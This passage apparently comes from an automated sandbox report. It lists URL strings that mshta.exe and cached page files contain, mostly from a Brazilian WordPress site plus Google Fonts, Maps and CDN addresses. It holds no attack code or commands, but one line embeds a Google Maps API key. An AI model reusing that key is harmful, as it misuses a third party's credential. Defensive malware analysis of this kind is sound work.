Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963232715.0000000002CD2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1088990872.0000000002CD4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.955668461.0000000002CD4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1022762650.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.955512305.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.955626816.0000000002CD3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963304809.0000000002CD4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963181859.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.955545513.0000000002CD2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175122109.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963264916.0000000002CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20.css9
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20A
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20H
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20cssr
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20ou
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/wlwmanifest.xml
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/xmlrpc.php
Source: mshta.exe, 00000008.00000003.947657498.0000000000131000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io
Source: font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3public.css
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100yFramework/style.css.9.20
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20css
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400er=1.24
Source: mshta.exe, 00000008.00000002.1181649235.0000000004870000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 00000008.00000002.1181649235.0000000004870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700.0.0
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txtke
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txtce
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/PRu
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/US)
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 00000008.00000003.970008695.00000000001AB000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);U
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotaf))s
Source: mshta.exe, 00000008.00000003.970014339.00000000001B6000.00000004.00000020.00020000.00000000.sdmp, css[3].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);_
Source: mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot)C
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott.png
Source: mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot~
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.970029915.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.970748201.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp, css[6].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotRFMY9
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotinati
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotnatio
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.970018567.00000000001C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot;-ms-opacity:.55;0.6
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotsize:
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182611118.0000000004A4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 00000008.00000003.947666529.000000000013B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmp, css[1].css.8.dr, css[5].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 00000008.00000002.1182407499.00000000049C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);l
Source: mshta.exe, 00000008.00000002.1173506254.0000000000446000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotse
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g.co/dev/maps-no-account
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.drString found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.947657498.0000000000131000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/vtd
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mt.googleapis.com/maps/vt/iconde
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 00000008.00000002.1173276788.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1C:
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1s
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
Source: animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.drString found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 00000008.00000003.947657498.0000000000131000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: font-awesome[1].css.8.drString found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/85
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.25
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/Rr
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/Wr
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2BE
Source: mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2US
Source: mshta.exe, 00000008.00000002.1175391272.0000000002D90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ip
Source: mshta.exe, 00000008.00000003.947657498.0000000000131000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/byscuits
Source: font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/fontawesome.
Source: mshta.exe, 00000008.00000002.1186319852.0000000005C3F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wpcf7.submitontwindow.FormData
Source: responsive[1].css.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: bootstrap.min[1].js.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947599378.0000000000144000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.broofa.com
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.drString found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/maps/preview/l
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.jplayer.org
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182611118.0000000004A4A000.00000004.00000020.00020000.00000000.sdmp, camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.drString found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/
Source: owl.carousel[1].js.8.drString found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cbks0.googleapis.com/cbk?fda8
Source: mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/apps-themes
Source: mshta.exe, 00000008.00000002.1173475298.0000000000437000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178713259.0000000003B70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: scripts[1].js.8.drString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947599378.0000000000144000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.947599378.0000000000144000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section00er=1.24
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_sectionPID=
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 00000008.00000002.1181649235.0000000004870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos.1;c=
Source: mshta.exe, 00000008.00000002.1181649235.0000000004870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentosfunction
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicos;
Source: mshta.exe, 00000008.00000002.1179076882.0000000003BF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/P/1.1
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 00000008.00000002.1181649235.0000000004870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/comments/feed/new
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1182204741.000000000495B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1178434407.0000000003B00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 00000008.00000002.1173412059.0000000000413000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/ECK=NOl
Source: mshta.exe, 00000008.00000003.1023231434.0000000003352000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023163687.0000000003351000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174903419.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178805485.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1106302508.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1094588100.0000000002C53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 00000008.00000002.1175407827.0000000002D93000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1tomp
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo0.ggpht.com/cbk
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo1.ggpht.com/cbkn
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo2.ggpht.com/cbkH
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo3.ggpht.com/cbkl
Source: owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.drString found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: superfish[1].js.8.drString found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: mshta.exe, 00000008.00000003.1073413028.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1073223689.0000000003E47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1073461593.0000000003E4C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1179403600.0000000003E4D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1073366486.0000000003E4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/joeldbirch/onHoverIntent3
Source: animate-logo[1].css.8.drString found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.drString found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: mshta.exe, 00000008.00000002.1181689313.0000000004885000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gtranslate.io/
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh3.ggpht.com/e
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh4.ggpht.com/ix.
Source: mshta.exe, 00000008.00000002.1173115776.00000000001C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh5.ggpht.com/d
